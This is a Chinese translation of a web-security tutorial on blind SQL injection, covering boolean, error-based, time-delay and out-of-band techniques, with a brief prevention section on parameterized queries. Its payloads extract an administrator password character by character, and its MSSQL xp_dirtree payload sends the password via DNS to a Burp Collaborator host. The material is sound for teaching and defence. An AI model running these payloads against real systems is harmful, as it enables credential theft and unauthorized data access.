SQL 盲注
本文翻譯自:https://portswigger.net/web-security/sql-injection/blind
在這一部分,我們將描述什么是盲目的SQL注入,解釋各種發(fā)現(xiàn)和利用盲目的SQL注入漏洞的技術(shù)。
什么是SQL盲注?
當(dāng)應(yīng)用程序易受SQL注入攻擊,但其HTTP響應(yīng)不包含相關(guān)SQL查詢的結(jié)果或任何數(shù)據(jù)庫錯(cuò)誤的詳細(xì)信息時(shí),就會出現(xiàn)SQL盲注。
由于存在SQL盲注漏洞,許多技術(shù)(如聯(lián)合注入)并不有效,因?yàn)樗鼈円蕾囉谀軌蛟趹?yīng)用程序的響應(yīng)中看到注入查詢的結(jié)果。仍然有可能利用盲SQL注入來訪問未經(jīng)授權(quán)的數(shù)據(jù),但是必須使用不同的技術(shù)。
通過觸發(fā)條件反應(yīng)利用SQL盲注
假設(shè)有一個(gè)使用跟蹤cookies收集使用分析的應(yīng)用程序。對應(yīng)用程序的請求包括如下cookie頭:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
當(dāng)處理包含 TrackingId 的cookie請求時(shí),應(yīng)用程序使用如下SQL查詢來確定這是否是已知用戶:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
該查詢易受SQL注入攻擊,但查詢結(jié)果不會返回給用戶。但是,根據(jù)查詢是否返回任何數(shù)據(jù),應(yīng)用程序的行為會有所不同。如果它返回?cái)?shù)據(jù)(因?yàn)樘峤涣艘粋€(gè)可識別的 TrackingId ),則在頁面中顯示“歡迎回來”消息。
這種行為足以利用SQL注入盲漏洞,并通過根據(jù)注入條件有條件地觸發(fā)不同的響應(yīng)來檢索信息。要了解這是如何工作的,假設(shè)發(fā)送了兩個(gè)依次包含以下 TrackingId cookie值的請求:
…xyz' AND '1'='1 …xyz' AND '1'='2這些值中的第一個(gè)將導(dǎo)致查詢返回結(jié)果,因?yàn)樽⑷氲?AND '1'='1 條件為真,因此將顯示“歡迎回來”消息。而第二個(gè)值將導(dǎo)致查詢不返回任何結(jié)果,因?yàn)樽⑷氲臈l件為假,因此不會顯示“歡迎回來”消息。這使我們能夠確定任何單一注入條件的答案,從而一次提取一位數(shù)據(jù)。
例如,假設(shè)有一個(gè)名為 Username 和 Password 列的 Users 表,以及一個(gè)名為 Administrator 的用戶。我們可以通過一次發(fā)送一系列輸入來測試一個(gè)字符的密碼,從而系統(tǒng)地確定該用戶的密碼。
為此,我們從以下輸入開始:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
這將返回“歡迎回來”消息,指示注入的條件為真,因此密碼的第一個(gè)字符大于 m
接下來,我們發(fā)送以下輸入:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
這不會返回“歡迎回來”消息,表明注入的條件為假,因此密碼的第一個(gè)字符不大于 t。
最終,我們發(fā)送以下輸入,返回“歡迎回來”消息,從而確認(rèn)密碼的第一個(gè)字符是 s:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 's
我們可以繼續(xù)此過程,從而系統(tǒng)地確定管理員用戶的完整密碼。
筆記
SUBSTRING函數(shù)在某些類型的數(shù)據(jù)庫上被稱為SUBSTR。有關(guān)更多詳細(xì)信息,請參見SQL注入備忘單。
實(shí)驗(yàn):有條件響應(yīng)的SQL盲注
通過觸發(fā)SQL錯(cuò)誤引發(fā)條件響應(yīng)
在前面的示例中,假設(shè)應(yīng)用程序執(zhí)行相同的SQL查詢,但是根據(jù)查詢是否返回任何數(shù)據(jù),其行為沒有任何不同。前面的技術(shù)不起作用,因?yàn)樽⑷氩煌牟紶枟l件對應(yīng)用程序的響應(yīng)沒有影響。
在這種情況下,通常可以根據(jù)注入的條件,通過有條件地觸發(fā)SQL錯(cuò)誤來誘導(dǎo)應(yīng)用程序返回條件響應(yīng)。這包括修改查詢,以便在條件為真時(shí)會導(dǎo)致數(shù)據(jù)庫錯(cuò)誤,但在條件為假時(shí)不會。通常,數(shù)據(jù)庫引發(fā)的未處理錯(cuò)誤會導(dǎo)致應(yīng)用程序的響應(yīng)有所不同(如錯(cuò)誤消息),從而使我們能夠推斷注入條件的真實(shí)性。
要了解這是如何工作的,假設(shè)發(fā)送了兩個(gè)依次包含以下 TrackingId 的cookie請求:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a這些輸入使用 CASE 關(guān)鍵字來測試條件,并根據(jù)表達(dá)式是否為真返回不同的表達(dá)式。對于第一個(gè)輸入, CASE 表達(dá)式的計(jì)算結(jié)果為'a',這不會導(dǎo)致任何錯(cuò)誤。對于第二個(gè)輸入,它的計(jì)算結(jié)果為 1/0 ,這將導(dǎo)致被零除的錯(cuò)誤。假設(shè)錯(cuò)誤導(dǎo)致應(yīng)用程序的HTTP響應(yīng)有一些差異,我們可以使用這個(gè)差異來推斷注入的條件是否為真。
使用這種技術(shù),我們可以通過系統(tǒng)地一次測試一個(gè)字符,以已經(jīng)描述的方式檢索數(shù)據(jù):
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
注意
觸發(fā)條件錯(cuò)誤的方式多種多樣,不同的技術(shù)適合不同的數(shù)據(jù)庫類型。有關(guān)更多詳細(xì)信息,請參見SQL注入備忘單。
實(shí)驗(yàn):有條件報(bào)錯(cuò)的SQL盲注
通過觸發(fā)時(shí)間延遲利用SQL盲注
在前面的示例中,假設(shè)應(yīng)用程序現(xiàn)在捕捉到數(shù)據(jù)庫錯(cuò)誤并妥善處理它們。在執(zhí)行注入的SQL查詢時(shí)觸發(fā)數(shù)據(jù)庫錯(cuò)誤不再導(dǎo)致應(yīng)用程序的響應(yīng)有任何不同,因此前面誘導(dǎo)條件錯(cuò)誤的技術(shù)將不起作用。
在這種情況下,通常有可能根據(jù)注入的條件,通過有條件地觸發(fā)時(shí)間延遲來利用盲SQL注入漏洞。因?yàn)镾QL查詢通常由應(yīng)用程序同步處理,所以延遲SQL查詢的執(zhí)行也會延遲HTTP響應(yīng)。這使我們能夠根據(jù)收到HTTP響應(yīng)之前的時(shí)間來推斷注入條件的真實(shí)性。
觸發(fā)時(shí)間延遲的技術(shù)非常具體地取決于所使用的數(shù)據(jù)庫類型。在Microsoft SQL Server上,類似以下的輸入可用于測試條件并根據(jù)表達(dá)式是否為真觸發(fā)延遲:
'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--第一個(gè)輸入不會觸發(fā)延遲,因?yàn)闂l件 1=2 為假。第二個(gè)輸入將觸發(fā)10秒的延遲,因?yàn)闂l件 1=1 為真。
使用這種技術(shù),我們可以通過系統(tǒng)地一次測試一個(gè)字符,以已經(jīng)描述的方式檢索數(shù)據(jù):
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
注意
在SQL查詢中有各種觸發(fā)時(shí)間延遲的方法,不同的技術(shù)適用于不同類型的數(shù)據(jù)庫。有關(guān)更多詳細(xì)信息,請參見SQL注入備忘單。
實(shí)驗(yàn):時(shí)間延遲SQL盲注
實(shí)驗(yàn):時(shí)間延遲SQL盲注與信息檢索
利用帶外技術(shù)進(jìn)行SQL盲注
現(xiàn)在,假設(shè)應(yīng)用程序執(zhí)行相同的SQL查詢,但是異步執(zhí)行的。應(yīng)用程序繼續(xù)在原始線程中處理用戶的請求,并使用另一個(gè)線程使用跟蹤cookie執(zhí)行SQL查詢。查詢?nèi)匀蝗菀资艿絊QL注入的攻擊,但是到目前為止所描述的技術(shù)都不起作用:應(yīng)用程序的響應(yīng)不依賴于查詢是否返回任何數(shù)據(jù),也不依賴于數(shù)據(jù)庫是否出錯(cuò),或者執(zhí)行查詢所花費(fèi)的時(shí)間。
在這種情況下,通常有可能通過觸發(fā)您控制的系統(tǒng)的帶外網(wǎng)絡(luò)交互來利用SQL盲注漏洞。如前所述,根據(jù)注入的條件,這些可以有條件地觸發(fā),以一次一位地推斷信息。但是更強(qiáng)大的是,數(shù)據(jù)可以直接在網(wǎng)絡(luò)交互中被過濾掉。
多種網(wǎng)絡(luò)協(xié)議可用于此目的,但通常最有效的是DNS(域名服務(wù))。這是因?yàn)樵S多生產(chǎn)網(wǎng)絡(luò)允許DNS查詢自由流出,因?yàn)樗鼈儗τ谏a(chǎn)系統(tǒng)的正常運(yùn)行至關(guān)重要。
使用帶外技術(shù)最簡單、最可靠的方法是使用Burp Collaborator。這是一個(gè)服務(wù)器,提供各種網(wǎng)絡(luò)服務(wù)(包括域名系統(tǒng))的自定義實(shí)現(xiàn),并允許您檢測何時(shí)由于向易受攻擊的應(yīng)用程序發(fā)送單個(gè)有效負(fù)載而發(fā)生網(wǎng)絡(luò)交互。對Burp Collaborator的支持內(nèi)置于 Burp Suite Professional 中,無需配置。
觸發(fā)域名系統(tǒng)查詢的技術(shù)非常特定于所使用的數(shù)據(jù)庫類型。在Microsoft SQL Server上,類似以下的輸入可用于在指定的域上進(jìn)行DNS查找:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
這將導(dǎo)致數(shù)據(jù)庫對以下域執(zhí)行查找:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
您可以使用Burp Suite的 Collaborator client 生成一個(gè)唯一的子域,并輪詢 Collaborator client 以確認(rèn)何時(shí)發(fā)生任何域名系統(tǒng)查找。
實(shí)驗(yàn):帶外交互的SQL盲注
在確認(rèn)了觸發(fā)帶外交互的方法后,您可以使用帶外通道從易受攻擊的應(yīng)用程序中提取數(shù)據(jù)。例如:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
該輸入讀取 Administrator 用戶的密碼,拼接了唯一的Collaborator子域,并觸發(fā)域名系統(tǒng)查找。這將導(dǎo)致如下的DNS查找,允許您查看捕獲的密碼:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
帶外(OAST)技術(shù)是檢測和利用盲SQL注入的一種極其強(qiáng)大的方法,因?yàn)槌晒Φ目赡苄院芨?#xff0c;并且能夠直接在帶外信道中導(dǎo)出數(shù)據(jù)。由于這個(gè)原因,OAST技術(shù)通常是更可取的,即使在其他盲目開發(fā)技術(shù)確實(shí)有效的情況下。
注意
觸發(fā)帶外交互的方式多種多樣,不同的技術(shù)適用于不同類型的數(shù)據(jù)庫。有關(guān)更多詳細(xì)信息,請參見SQL注入備忘單。
實(shí)驗(yàn):帶外數(shù)據(jù)導(dǎo)出的盲SQL注入
如何防止盲目的SQL注入襲擊?
盡管發(fā)現(xiàn)和利用盲目的SQL注入漏洞所需的技術(shù)與普通SQL注入不同,也更復(fù)雜,但無論漏洞是否盲目,預(yù)防SQL注入所需的措施都是一樣的。
與常規(guī)的SQL注入一樣,可以通過謹(jǐn)慎使用參數(shù)化查詢來防止盲目的SQL注入攻擊,這可以確保用戶輸入不會干擾預(yù)期的SQL查詢的結(jié)構(gòu)。
總結(jié)
- 上一篇: koa --- 使用koa-multe
- 下一篇: 液压伺服控制技术和电液比例控制技术